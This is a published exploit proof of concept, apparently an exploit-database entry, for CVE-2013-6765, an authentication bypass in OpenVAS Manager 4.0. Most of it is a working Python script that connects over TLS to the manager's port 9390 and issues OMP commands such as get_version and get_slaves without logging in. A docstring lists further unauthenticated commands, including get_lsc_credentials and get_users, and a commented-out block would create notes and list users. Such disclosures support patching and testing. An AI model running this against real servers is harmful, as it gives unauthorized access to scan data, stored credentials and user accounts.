OpenVAS Manager 4.0 - Authentication Bypass Vulnerability PoC



EKU-ID: 4154 CVE: 2013-6765 OSVDB-ID: 99678
Author: EccE Published: 2014-07-22 Verified: Verified
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#!/usr/bin/python
  
# Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC 
# Date: 09/07/2014
# Exploit Author: EccE
# Vendor Homepage: http://www.openvas.org/
# Software Link: http://wald.intevation.org/frs/?group_id=29
# Version: OpenVAS Manager 4.0 
# Tested on: Debian GNU/Linux testing (jessie)
# CVE : CVE-2013-6765
  
""" 
    Small list of working commands
  
get_agents 
get_configs 
get_alerts
get_filters
get_lsc_credentials 
get_notes 
get_nvts 
get_targets
get_users
get_schedules
  
  
More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though. 
As designed in OMP protocol, commands must be sent this way : <COMMAND/>
  
"""
  
import socket, ssl
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
# Require a certificate from the server. We used a self-signed certificate
# so here cacerts.pem must be the server certificate itself.
ssl_sock = ssl.wrap_socket(s,
                           ca_certs="/var/lib/openvas/CA/cacert.pem", 
                           cert_reqs=ssl.CERT_REQUIRED)
  
# OpenVAS Manager listen by default on localhost tcp/9390
ssl_sock.connect(('localhost', 9390))
  
  
print "#################################################################"
print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass  #"
print "#################################################################"
print "\n"
  
print "--> Retrieving version...(exploiting the bug !)\n"
ssl_sock.write("<get_version/>")
data = ssl_sock.read()
print data
print "\n"
  
  
print "--> Retrieving slaves...\n"
ssl_sock.write("<get_slaves/>")
tasks = ssl_sock.read()
print tasks
print "\n"
  
"""
print "--> Creating note...\n"
ssl_sock.write("<create_note/>")
note = ssl_sock.read()
print note 
  
print "--> Retrieving users list...\n"
ssl_sock.write("<get_users/>")
users_list = ssl_sock.read()
print users_list
"""
ssl_sock.close()